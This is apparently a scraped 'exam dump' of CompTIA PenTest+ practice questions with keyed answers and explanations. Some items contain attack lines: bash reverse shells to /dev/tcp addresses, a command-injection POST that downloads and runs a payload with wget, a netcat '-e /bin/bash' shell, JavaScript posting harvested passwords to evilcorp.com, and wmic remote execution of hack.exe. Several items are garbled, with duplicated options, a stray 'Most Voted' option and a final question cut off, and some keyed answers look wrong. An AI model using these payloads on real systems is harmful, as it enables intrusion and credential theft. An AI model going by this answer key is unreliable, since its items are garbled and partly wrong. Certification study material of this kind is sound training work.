

PT0-002 Dumps

CompTIA PenTest+ Certification Exam

<https://www.certleader.com/PT0-002-dumps.html>



NEW QUESTION 1

A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?

- A. GDB
- B. Burp Suite
- C. SearchSplot
- D. Netcat

Answer: A

NEW QUESTION 2

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 3

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

- A. Set up a captive portal with embedded malicious code.
- B. Capture handshakes from wireless clients to crack.
- C. Span deauthentication packets to the wireless clients.
- D. Set up another access point and perform an evil twin attack.

Answer: C

NEW QUESTION 4

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

Answer: B

NEW QUESTION 5

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

NEW QUESTION 6

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {  
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);  
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 7

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have

implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

Answer: B

NEW QUESTION 8

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

Answer: C

Explanation:

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html <https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy>

NEW QUESTION 9

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP
- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

Answer: AF

NEW QUESTION 10

Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

- A. Scope details
- B. Findings
- C. Methodology
- D. Statement of work

Answer: C

NEW QUESTION 10

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "()" { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "()" { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "()" { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "()" { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "()" { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 13

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

Answer: B

NEW QUESTION 17

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.

D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 19

A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

- A. SQLmap
- B. DirBuster
- C. w3af
- D. OWASP ZAP

Answer: C

Explanation:

W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.

NEW QUESTION 23

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

- A. A handheld RF spectrum analyzer
- B. A mask and personal protective equipment
- C. Caution tape for marking off insecure areas
- D. A dedicated point of contact at the client
- E. The paperwork documenting the engagement
- F. Knowledge of the building's normal business hours

Answer: DE

Explanation:

Always carry the contact information and any documents stating that you are approved to do this.

NEW QUESTION 28

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 30

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 34

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

Answer: A

NEW QUESTION 37

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?

- A. Root user
- B. Local administrator
- C. Service
- D. Network administrator

Answer: C

NEW QUESTION 41

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

Answer: A

Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

NEW QUESTION 45

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

- A. NDA
- B. SLA
- C. MSA
- D. SOW

Answer: A

Explanation:

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the NDA, which stands for Non-Disclosure Agreement. The NDA is a legal agreement between two or more parties that outlines confidential material or knowledge that the parties wish to share with one another, but with restrictions on access, use or disclosure of that information. The NDA is commonly used in the context of penetration testing to protect the client's sensitive information that the tester may have access to during the engagement.

The NDA defines the terms of confidentiality and non-disclosure of information related to the engagement, including the responsibilities and obligations of both the tester and the client to ensure that any information exchanged or obtained during the engagement is kept confidential and not disclosed to unauthorized parties.

This is particularly important in penetration testing, as the tester is granted access to the client's network and systems, and may uncover vulnerabilities or sensitive information that should not be disclosed to unauthorized parties.

In summary, the NDA plays a crucial role in defining the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure of confidential information, and is an important legal instrument for protecting the client's sensitive information during a penetration testing engagement.

NEW QUESTION 46

A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

- A. Searching for service vulnerabilities
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Scanning a network for specific open ports

Answer: D

Explanation:

-z zero-I/O mode [used for scanning]

-v verbose

example output of script: 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open

(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out <https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

NEW QUESTION 47

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

Answer: C

NEW QUESTION 48

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

- A. Patch installations
- B. Successful exploits
- C. Application failures
- D. Bandwidth limitations

Answer: B

NEW QUESTION 49

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

```
exploit = "POST "
```

```
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
```

```
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}
```

```
&loginUser=a&Pwd=a"
```

```
exploit += "HTTP/1.1"
```

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`
- C. `chmod 600 /tmp/apache`
- D. `taskkill /IM "apache" /F`

Answer: B

NEW QUESTION 50

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

- A. Executive summary
- B. Attack TTPs
- C. Methodology
- D. Scope details

Answer: B

NEW QUESTION 52

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

Answer: B

NEW QUESTION 55

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

- A. Terminate the contract.
- B. Update the ROE with new signature
- C. Most Voted
- D. Scan the 8-bit block to map additional missed hosts.
- E. Continue the assessment.

Answer: B

NEW QUESTION 59

Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

- A. Wireshark
- B. EAPHammer
- C. Kismet
- D. Aircrack-ng

Answer: D

Explanation:

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].

Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

NEW QUESTION 61

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

<http://company.com/catalog.asp?productid=22>

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

<http://company.com/catalog.asp?productid=22;WAITFOR>

DELAY '00:00:05'

Which of the following should the penetration tester attempt NEXT?

- A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
- B. <http://company.com/catalog.asp?productid=22' OR 1=1 ->
- C. <http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 ->
- D. <http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash>

Answer: C

Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 63

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to <https://example.com/index.html>. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',  
  type: 'POST', dataType: 'html',  
  data: {Email: emv, password: psv},  
  _____  
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. `window.location.= 'https://evilcorp.com'`
- B. `crossDomain: true`
- C. `geturlparameter ('username')`
- D. `redirectUrl = 'https://example.com'`

Answer: B

NEW QUESTION 66

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 68

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 73

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.

Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

- A. Sniff and then crack the WPS PIN on an associated WiFi device.
- B. Dump the user address book on the device.
- C. Break a connection between two Bluetooth devices.
- D. Transmit text messages to the device.

Answer: B

Explanation:

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

NEW QUESTION 77

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

Answer: B

NEW QUESTION 82

After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:

```
-rwxrwxrwx  1 root    root          915 Mar  6  2020 /scripts/daily_log_backup.sh
```

Which of the following actions should the tester perform FIRST?

- A. Change the file permissions.
- B. Use privilege escalation.
- C. Cover tracks.
- D. Start a reverse shell.

Answer: B

NEW QUESTION 83

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

Answer: B

Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

NEW QUESTION 88

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

Answer: AC

Explanation:

Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

NEW QUESTION 92

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

Answer: C

NEW QUESTION 97

A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

- A. To provide protection against host OS vulnerabilities
- B. To reduce the probability of a VM escape attack
- C. To fix any misconfigurations of the hypervisor
- D. To enable all features of the hypervisor

Answer: B

Explanation:

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

NEW QUESTION 101

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

NEW QUESTION 105

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

- A. The tester had the situational awareness to stop the transfer.
- B. The tester found evidence of prior compromise within the data set.
- C. The tester completed the assigned part of the assessment workflow.
- D. The tester reached the end of the assessment time frame.

Answer: A

NEW QUESTION 108

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

Answer: B

NEW QUESTION 111

The following line-numbered Python code snippet is being used in reconnaissance:

```
...
<LINE NUM.>
<01> portList: list[int] = [*range(1, 1025)]
<02> random.shuffle(portList)
<03> try:
<04>     port: int
<05>     resultList: list[int] = []
<06>     for port on portList:
<07>         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<08>         sock.settimeout(0.01)
<09>         result = sock.connect_ex((remoteSvr, port))
<10>         if result == 0:
<11>             resultList.append(port)
<12>         sock.close()
...
```

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization’s IDS?

- A. Line 01
- B. Line 02
- C. Line 07
- D. Line 08

Answer: D

NEW QUESTION 116

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

Answer: C

NEW QUESTION 120

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

Answer: D

NEW QUESTION 125

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

Answer: A

Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

NEW QUESTION 126

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 131

A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

- A. -8 -T0
- B. --script "http*vuln*"
- C. -sn
- D. -O -A

Answer: B

NEW QUESTION 133

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

Answer: D

Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 136

A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

- A. Hydra
- B. John the Ripper
- C. Cain and Abel
- D. Medusa

Answer: D

Explanation:

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.

Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

NEW QUESTION 138

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN
- C. EXPN and TURN
- D. RCPT TO and VRFY

Answer: A

NEW QUESTION 139

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

Answer: DF

NEW QUESTION 144

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

Answer: A

NEW QUESTION 149

Given the following output: User-agent:*

Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/

During which of the following activities was this output MOST likely obtained?

- A. Website scraping
- B. Website cloning
- C. Domain enumeration
- D. URL enumeration

Answer: A

NEW QUESTION 154

A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

- A. SQL injection
- B. HTML injection
- C. Remote command injection
- D. DLL injection

Answer: A

Explanation:

WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection³⁴. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data¹.

Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

NEW QUESTION 158

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (:::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

Answer: C

NEW QUESTION 162

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 167

The following PowerShell snippet was extracted from a log of an attacker machine:

```
1.$net="192.168.1."
2.$setipaddress ="192.168.2."
3.function Test-Password {
4.if (args[0] -eq 'Dummy12345') {
5.  return 1
6. }
7.else {
8.$cat = 22, 25, 80, 443
9.  return 0
10. }
11.}
12.$cracked = 0
13.crackedpd = [ 192, 168, 1, 2]
14.$i =0
15.Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18.$i++
19.$crackedp = ( 192, 168, 1, 1) + $cat
20.}
21.While($cracked -eq 0)
22.Write-Host " Password found : " $test
23.$setipaddress = [ 192, 168, 1, 4]
```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

Answer: A

Explanation:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powershell-7.4

NEW QUESTION 170

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

NEW QUESTION 172

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

Answer: AC

NEW QUESTION 175

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

Answer: A

NEW QUESTION 176

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`
Which of the following commands could be used to download a file named `exploit` to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

Answer: D

NEW QUESTION 180

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 184

During a penetration test, a tester is able to change values in the URL from `example.com/login.php?id=5` to `example.com/login.php?id=10` and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

- A. Command injection
- B. Broken authentication
- C. Direct object reference
- D. Cross-site scripting

Answer: C

Explanation:

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

NEW QUESTION 188

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. `iam_enum_permissions`
- B. `iam_privesc_scan`
- C. `iam_backdoor_assume_role`
- D. `iam_bruteforce_permissions`

Answer: A

NEW QUESTION 191

A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

- A. `tcpdump`
- B. `Snort`
- C. `Nmap`
- D. `Netstat`
- E. `Fuzzer`

Answer: C

NEW QUESTION 196

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.

D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 200

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 201

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no  
copy c:\temp\hack.exe S:\temp\hack.exe  
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
